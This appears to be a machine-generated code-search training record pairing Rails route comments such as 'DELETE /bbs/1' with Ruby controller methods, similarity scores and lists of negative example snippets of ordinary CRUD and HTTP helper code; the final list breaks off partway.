"def update\n @bap = Bap.find(params[:id])\n\n respond_to do |format|\n if @bap.update_attributes(params[:bap])\n format.html { redirect_to(@bap, :notice => 'Bap was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bap.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @belief = Belief.find(params[:id])\n\n respond_to do |format|\n if @belief.update_attributes(params[:belief])\n format.html { redirect_to @belief, :notice => 'Belief was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @belief.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @bouncer = Bouncer.find(params[:id])\n\n respond_to do |format|\n if @bouncer.update_attributes(params[:bouncer])\n format.html { redirect_to(@bouncer, :notice => 'URL was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bouncer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def patch(path, body_params = {})\n debug_log \"PATCH #{@host}#{path} body:#{body_params}\"\n headers = { 'Content-Type' => 'application/json' }\n res = connection.run_request :put, path, body_params.to_json, headers\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"def update\n @bid = Bid.find(params[:id])\n\n respond_to do |format|\n if @bid.update_attributes(params[:bid])\n format.html { redirect_to @admin_bid, notice: 'Bid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def patch(path, **args); end",
"def update\n @blocking_client = BlockingClient.find(params[:id])\n\n respond_to do |format|\n if @blocking_client.update_attributes(params[:blocking_client])\n format.html { redirect_to @blocking_client, notice: 'Blocking client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @blocking_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bill = Bill.find(params[:id])\n\n if @bill.update(params[:bill])\n head :no_content\n else\n render json: @bill.errors, status: :unprocessable_entity\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end"
] | [
"0.68290186",
"0.656573",
"0.6504054",
"0.6491519",
"0.6398294",
"0.637623",
"0.6365852",
"0.6364217",
"0.6346069",
"0.6337392",
"0.6309472",
"0.6288787",
"0.6247065",
"0.6217227",
"0.6213658",
"0.6207322",
"0.61985016",
"0.6191008",
"0.6168963",
"0.61643785",
"0.6120079",
"0.6115511",
"0.6103187",
"0.6096448",
"0.60943204",
"0.60943204",
"0.60903996",
"0.6089382",
"0.60878295",
"0.60464954",
"0.6041819",
"0.6039497",
"0.6031916",
"0.6017598",
"0.6007785",
"0.6006432",
"0.6004728",
"0.60037845",
"0.5997107",
"0.5980994",
"0.5980994",
"0.5980994",
"0.5978045",
"0.597797",
"0.59778494",
"0.59732294",
"0.5972068",
"0.59650993",
"0.5963275",
"0.5942877",
"0.59338987",
"0.5920469",
"0.5915038",
"0.59059197",
"0.59046847",
"0.59031636",
"0.5892925",
"0.5885759",
"0.5885278",
"0.5885278",
"0.58848536",
"0.5882889",
"0.58821344",
"0.5881888",
"0.58816123",
"0.58756244",
"0.5871806",
"0.5871806",
"0.5871806",
"0.58696765",
"0.5865612",
"0.5851824",
"0.58473593",
"0.58464",
"0.58443934",
"0.584405",
"0.58438116",
"0.5841294",
"0.58406365",
"0.58389",
"0.58345133",
"0.582947",
"0.58257085",
"0.58257085",
"0.58245206",
"0.58243495",
"0.5821225",
"0.58211756",
"0.58175397",
"0.5817494",
"0.5816954",
"0.58164704",
"0.5816111",
"0.5814731",
"0.5813941",
"0.58115476",
"0.5811098",
"0.5809837",
"0.58063114",
"0.5805894"
] | 0.6563021 | 2 |
DELETE /bbs/1 DELETE /bbs/1.json | def destroy
@bb.destroy
respond_to do |format|
format.html { redirect_to bbs_url, notice: 'Bb was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @bb = Bb.find(params[:id])\n @bb.destroy\n\n respond_to do |format|\n format.html { redirect_to bbs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @b = B.find(params[:id])\n @b.destroy\n\n respond_to do |format|\n format.html { redirect_to bs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bbhk.destroy\n respond_to do |format|\n format.html { redirect_to bbhks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bl = Bl.find(params[:id])\n @bl.destroy\n\n respond_to do |format|\n format.html { redirect_to bls_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @blast = Blast.find(params[:id])\n @blast.destroy\n\n respond_to do |format|\n format.html { redirect_to blasts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bread.destroy\n respond_to do |format|\n format.html { redirect_to breads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bloque = Bloque.find(params[:id])\n @bloque.destroy\n\n head :no_content\n end",
"def destroy\n @bounty.destroy\n respond_to do |format|\n format.html { redirect_to bounties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kb = Kb.find(params[:id])\n @kb.destroy\n\n respond_to do |format|\n format.html { redirect_to kbs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @bdatabase = Bdatabase.find(params[:id])\n @bdatabase.destroy\n\n respond_to do |format|\n format.html { redirect_to bdatabases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @boc.destroy\n respond_to do |format|\n format.html { redirect_to bocs_url, notice: 'Boc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bacon.destroy\n respond_to do |format|\n format.html { redirect_to bacons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @singleb.destroy\n respond_to do |format|\n format.html { redirect_to singlebs_url, notice: 'Singleb was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bloom = Bloom.find(params[:id])\n @bloom.destroy\n\n respond_to do |format|\n format.html { redirect_to blooms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @weibo = Weibo.find(params[:id])\n @weibo.destroy\n\n respond_to do |format|\n format.html { redirect_to weibos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @basin = Basin.find(params[:id])\n @basin.destroy\n\n respond_to do |format|\n format.html { redirect_to basins_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bow.destroy\n respond_to do |format|\n format.html { redirect_to bows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rb.destroy\n respond_to do |format|\n format.html { redirect_to rbs_url, notice: 'Erfolgreich gelöscht.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bla = Bla.find(params[:id])\n @bla.destroy\n\n respond_to do |format|\n format.html { redirect_to blas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lob.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bob = Bob.find(params[:id])\n @bob.destroy\n\n respond_to do |format|\n format.html { redirect_to bobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bnpb.destroy\n respond_to do |format|\n format.html { redirect_to bnpbs_url, notice: 'Bnpb was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @broad = Broad.find(params[:id])\n @broad.destroy\n\n respond_to do |format|\n format.html { redirect_to broads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bustour.destroy\n respond_to do |format|\n format.html { redirect_to bustours_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lob.destroy\n\n head :no_content\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @scrobble = Scrobble.find(params[:id])\n @scrobble.destroy\n\n respond_to do |format|\n format.html { redirect_to scrobbles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @facebook_blast = FacebookBlast.find(params[:id])\n @facebook_blast.destroy\n\n respond_to do |format|\n format.html { redirect_to facebook_blasts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @Bouquets = Bouquet.find(params[:id])\n @Bouquets.destroy\n\n respond_to do |format|\n format.html { redirect_to bouquets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @baton = Baton.find(params[:id])\n @baton.destroy\n\n respond_to do |format|\n format.html { redirect_to batons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bid = Bid.find(params[:id])\n @bid.destroy\n\n respond_to do |format|\n format.html { redirect_to bids_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bid = Bid.find(params[:id])\n @bid.destroy\n\n respond_to do |format|\n format.html { redirect_to bids_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @b_log = BLog.find(params[:id])\n @b_log.destroy\n\n respond_to do |format|\n format.html { redirect_to b_logs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @brag = Brag.find(params[:id])\n @brag.destroy\n\n respond_to do |format|\n format.html { redirect_to brags_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @spkj_bsb = SpkjBsb.find(params[:id])\n @spkj_bsb.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/spkj_bsbs\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @boook.destroy\n respond_to do |format|\n format.html { redirect_to boooks_url, notice: 'Boook was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bs_blog.destroy\n respond_to do |format|\n format.html { redirect_to bs_blogs_url, notice: 'Bs blog was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @blast_request.destroy\n respond_to do |format|\n format.html { redirect_to mc_blast_blast_requests_path, notice: 'Blast request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bounty = Bounty.find(params[:id])\n @bounty.destroy\n respond_to do |format|\n format.html { redirect_to controller: 'home', action: 'bounty_market' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n @loadbalancer.send_delete\n\n respond_to do |format|\n format.html { redirect_to loadbalancers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @news_blast = NewsBlast.find(params[:id])\n @news_blast.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_blasts_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @boat.destroy\n\n head :no_content\n end",
"def destroy\n @bok.destroy\n respond_to do |format|\n format.html { redirect_to boks_url, notice: 'Bok was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sugar_bag = SugarBag.find(params[:id])\n @sugar_bag.destroy\n\n respond_to do |format|\n format.html { redirect_to sugar_bags_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bahan = Bahan.find(params[:id])\n @bahan.destroy\n\n respond_to do |format|\n format.html { redirect_to bahans_url }\n format.json { head :no_content }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @ref_mkb = Ref::Mkb.find(params[:id])\n @ref_mkb.destroy\n\n respond_to do |format|\n format.html { redirect_to ref_mkbs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @bnote = Bnote.find(params[:id])\n @bnote.destroy\n\n respond_to do |format|\n format.html { redirect_to(bnotes_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n render json: UserBoards.delete(params[\"id\"])\n end",
"def destroy\n @verbo = Verbo.find(params[:id])\n @verbo.destroy\n\n respond_to do |format|\n format.html { redirect_to verbos_url }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @bunny.destroy\n respond_to do |format|\n format.html { redirect_to bunnies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bdm.destroy\n respond_to do |format|\n format.html { redirect_to bdms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kebab = Kebab.find(params[:id])\n @kebab.destroy\n\n respond_to do |format|\n format.html { redirect_to(kebabs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bouncer = Bouncer.find(params[:id])\n @bouncer.destroy\n\n respond_to do |format|\n format.html { redirect_to(bouncers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bijou.destroy\n respond_to do |format|\n format.html { redirect_to bijous_url, notice: 'Bijou was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @heartbeat = Heartbeat.find(params[:id])\n @heartbeat.destroy\n\n respond_to do |format|\n format.html { redirect_to heartbeats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @boat = Boat.find(params[:id])\n @boat.destroy\n\n respond_to do |format|\n format.html {redirect_to boats_url}\n format.json {head :no_content}\n end\n end",
"def destroy\n @beat = Beat.find(params[:id])\n @beat.destroy\n\n respond_to do |format|\n format.html { redirect_to beats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @boy = Boy.find(params[:id])\n @boy.destroy\n\n respond_to do |format|\n format.html { redirect_to boys_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @boy = Boy.find(params[:id])\n @boy.destroy\n\n respond_to do |format|\n format.html { redirect_to boys_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bemap = Bemap.find(params[:id])\n @bemap.destroy\n\n respond_to do |format|\n format.html { redirect_to bemaps_url }\n format.json { head :ok }\n end\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def destroy\n @bloqueo.destroy\n respond_to do |format|\n format.html { redirect_to bloqueos_url, notice: 'Bloqueo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n @verb.destroy\n\n head :no_content\n end",
"def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end",
"def destroy\n @borc = Borc.find(params[:id])\n @borc.destroy\n\n respond_to do |format|\n format.html { redirect_to borcs_url }\n format.json { head :no_content }\n end\n end",
"def delete!\n request! :delete\n end",
"def destroy #DESC: Eliminar hobbies\n @hobbie = Hobbie.find(params[:id])\n @hobbie.destroy\n\n respond_to do |format|\n format.html { redirect_to(hobbies_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bits_1.destroy\n respond_to do |format|\n format.html { redirect_to bits_1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @boite.destroy\n respond_to do |format|\n format.html { redirect_to boites_url, notice: 'Boite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bourbon.destroy\n respond_to do |format|\n format.html { redirect_to bourbons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bico = Bico.find(params[:id])\n @bico.destroy\n\n respond_to do |format|\n format.html { redirect_to bicos_url }\n format.json { head :no_content }\n end\n end",
"def delete\n api(\"Delete\")\n end",
"def destroy\n @bogey = Bogey.find(params[:id])\n @bogey.destroy\n\n respond_to do |format|\n format.html { redirect_to(bogeys_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bail = Bail.find(params[:id])\n# @bail.destroy\n\n respond_to do |format|\n format.html { redirect_to(bails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n # @blog = Blog.find(params[:id])\n @blog.destroy\n\n respond_to do |format|\n format.html { redirect_to blogs_url }\n format.json { head :ok }\n end\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @bp = Bp.find(params[:id])\n @bp.destroy\n\n respond_to do |format|\n format.html { redirect_to bps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @binh_bau = BinhBau.find(params[:id])\n @binh_bau.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_binh_baus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bay.destroy\n respond_to do |format|\n format.html { redirect_to bays_url, notice: 'La bahía fue eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def destroy\n @admin_bid = Bid.find(params[:id])\n @admin_bid.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_bids_url }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @cat_blok.destroy\n respond_to do |format|\n format.html { redirect_to cat_bloks_url, notice: 'Cat blok was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @bill_quorum = BillQuorum.find(params[:id])\n @bill_quorum.destroy\n\n respond_to do |format|\n format.html { redirect_to bill_quorums_url }\n format.json { head :no_content }\n end\n end",
"def delete\n if body.empty? && params[:id]\n client.delete(params)\n elsif body.empty?\n client.delete_by_query(params.merge(body: body.merge(ALL)))\n else\n client.delete_by_query(params.merge(body: body))\n end\n end",
"def destroy\r\n @sivic_banco.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_bancos_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @boat = Boat.find(params[:id])\n remove_reknro_from_berth\n @boat.destroy\n\n respond_to do |format|\n format.html { redirect_to boats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bath.destroy\n respond_to do |format|\n format.html { redirect_to baths_url, notice: 'Bath was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bingo = Bingo.find(params[:id])\n @bingo.destroy\n\n respond_to do |format|\n format.html { redirect_to(bingos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n respond_to do |format|\n format.html { redirect_to blogs_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.72713745",
"0.700241",
"0.69206923",
"0.68334067",
"0.6804754",
"0.67955065",
"0.6783016",
"0.6760925",
"0.6735975",
"0.6682564",
"0.66667366",
"0.66650814",
"0.66561687",
"0.6645461",
"0.663072",
"0.6581821",
"0.658068",
"0.657236",
"0.656462",
"0.6540489",
"0.6531784",
"0.6528808",
"0.6524577",
"0.6522817",
"0.6508842",
"0.6490871",
"0.6484511",
"0.6482001",
"0.6482001",
"0.6482001",
"0.6482001",
"0.6479108",
"0.64752305",
"0.64684755",
"0.64616895",
"0.64579946",
"0.64579946",
"0.64569116",
"0.6454181",
"0.64499617",
"0.64464283",
"0.6443979",
"0.64424026",
"0.64336854",
"0.6428554",
"0.64250094",
"0.64202416",
"0.6418087",
"0.6414695",
"0.64119375",
"0.6404067",
"0.64023155",
"0.6397641",
"0.6388807",
"0.6387305",
"0.63865453",
"0.63862187",
"0.63810223",
"0.6370229",
"0.6367705",
"0.636532",
"0.6362401",
"0.6359835",
"0.6358797",
"0.6358583",
"0.6358523",
"0.6355383",
"0.6355383",
"0.63457394",
"0.63419175",
"0.6340539",
"0.63405204",
"0.6337682",
"0.63348436",
"0.6334836",
"0.63345826",
"0.63324505",
"0.63283646",
"0.6327492",
"0.63258386",
"0.63198626",
"0.6319366",
"0.6318673",
"0.6315385",
"0.6314457",
"0.63142455",
"0.63110876",
"0.6305528",
"0.6305373",
"0.6303675",
"0.63023895",
"0.6302008",
"0.63008237",
"0.6294387",
"0.6292495",
"0.6291759",
"0.62900245",
"0.62878513",
"0.6287499",
"0.6287475"
] | 0.71378064 | 1 |
Use callbacks to share common setup or constraints between actions. | def set_bb
@bb = Bb.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
